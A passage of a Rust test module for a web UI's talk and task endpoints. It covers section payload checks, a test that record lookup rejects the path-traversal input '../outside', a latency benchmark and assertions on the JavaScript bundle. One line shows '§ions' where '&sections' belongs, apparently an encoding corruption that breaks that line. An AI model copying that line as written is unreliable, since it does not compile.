26928 run: id.clone(),
26929 node: "chat".into(),
26930 },
26931 );
26932 ui.queue.put(&mut task).unwrap();
26933 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26934 assert_eq!(sections["tasks"][0]["id"], task.id);
26935 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26936 assert!(sections["tasks"][0].get("instruction").is_none());
26937 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
26938 }
26939
26940 #[test]
26941 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26942 let home = tempfile::tempdir().unwrap();
26943 let talks = Talks::at(home.path().join("talks"));
26944 seed_talk_at(&talks, "20261019-000001-abcd", "open");
26945 seed_talk_at(&talks, "20261019-000002-abcd", "open");
26946 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26947 assert!(resolve_talk(&talks, "../outside").is_err());
26948 assert!(resolve_talk(&talks, "abcd").is_err());
26949 assert_eq!(
26950 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26951 "20261019-000001-abcd"
26952 );
26953 }
26954
26955 include!(concat!(
26956 env!("CARGO_MANIFEST_DIR"),
26957 "/tests/web_latency/baseline.rs"
26958 ));
26959
26960 include!(concat!(
26961 env!("CARGO_MANIFEST_DIR"),
26962 "/tests/web_latency/lists.rs"
26963 ));
26964
26965 #[tokio::test]
26966 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26967 async fn web_history_latency_measurement() {
26968 use std::time::Instant;
26969 let home = tempfile::tempdir().unwrap();
26970 let ui = delta_test_ui(home.path());
26971 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26972 let mut template = ui.talks.get(&id).unwrap();
26973 template.turns = serde_json::from_value(serde_json::json!([{
26974 "who": "operator", "body": "Show the accumulated work and its current status.",
26975 "at": Timestamp::now().to_string(),
26976 }]))
26977 .unwrap();
26978 std::fs::write(
26979 ui.talks.path_of(&id),
26980 serde_json::to_vec(&template).unwrap(),
26981 )
26982 .unwrap();
26983 let count = std::env::var("MAGI_BENCH_RECORDS")
26984 .ok()
26985 .and_then(|s| s.parse::<usize>().ok())
26986 .unwrap_or(1000);
26987 for i in 0..count {
26988 template.id = format!("20261019-{i:06}-history");
26989 template.pending = "history ".repeat(2048);
26990 std::fs::write(
26991 ui.talks.path_of(&template.id),
26992 serde_json::to_vec(&template).unwrap(),
26993 )
26994 .unwrap();
26995 let mut task = Task::new(
26996 "old task".into(),
26997 "instruction ".repeat(2048),
26998 PathBuf::from("/repo"),
26999 Source::Human,
27000 );
27001 task.id = format!("20261019-{i:06}-task");
27002 ui.queue.put(&mut task).unwrap();
27003 }
27004 for baseline in [true, false] {
27005 for clients in [1, 4] {
27006 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
27007 let mut samples = Vec::new();
27008 for _ in 0..12 {
27009 let mut jobs = Vec::new();
27010 for _ in 0..clients {
27011 let ui = ui.clone();
27012 let id = id.clone();
27013 jobs.push(tokio::spawn(async move {
27014 let start = Instant::now();
27015 if baseline {
27016 let response =
27017 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
27018 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
27019 return (
27020 elapsed,
27021 elapsed,
27022 serde_json::to_vec(&response).unwrap().len(),
27023 );
27024 }
27025 let core = talk_core(State(ui.clone()), Path(id.clone()));
27026 let secondary = talk_sections(State(ui), Path(id));
27027 let (first, total) = tokio::join!(
27028 async {
27029 let value = core.await.unwrap().0;
27030 (
27031 start.elapsed().as_secs_f64() * 1000.0,
27032 serde_json::to_vec(&value).unwrap().len(),
27033 )
27034 },
27035 async {
27036 let value = secondary.await.unwrap().0;
27037 (
27038 start.elapsed().as_secs_f64() * 1000.0,
27039 serde_json::to_vec(&value).unwrap().len(),
27040 )
27041 }
27042 );
27043 (first.0, first.0.max(total.0), first.1 + total.1)
27044 }));
27045 }
27046 for job in jobs {
27047 samples.push(job.await.unwrap());
27048 }
27049 }
27050 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
27051 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
27052 first.sort_by(f64::total_cmp);
27053 total.sort_by(f64::total_cmp);
27054 let n = first.len();
27055 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
27056 println!(
27057 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
27058 first[n / 2],
27059 first[(n * 95 / 100).min(n - 1)],
27060 total[n / 2],
27061 total[(n * 95 / 100).min(n - 1)],
27062 samples[0].2
27063 );
27064 }
27065 }
27066 }
27067
27068 #[test]
27069 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
27070 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
27072 assert!(APP_JS.contains("function nextRunRequest(id)"));
27073 assert!(APP_JS.contains("function runShell(id, summary)"));
27074 assert!(APP_JS.contains("function nextTaskRequest(id)"));
27075 assert!(APP_JS.contains("function taskShell(id, summary)"));
27076 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
27077 }
27078}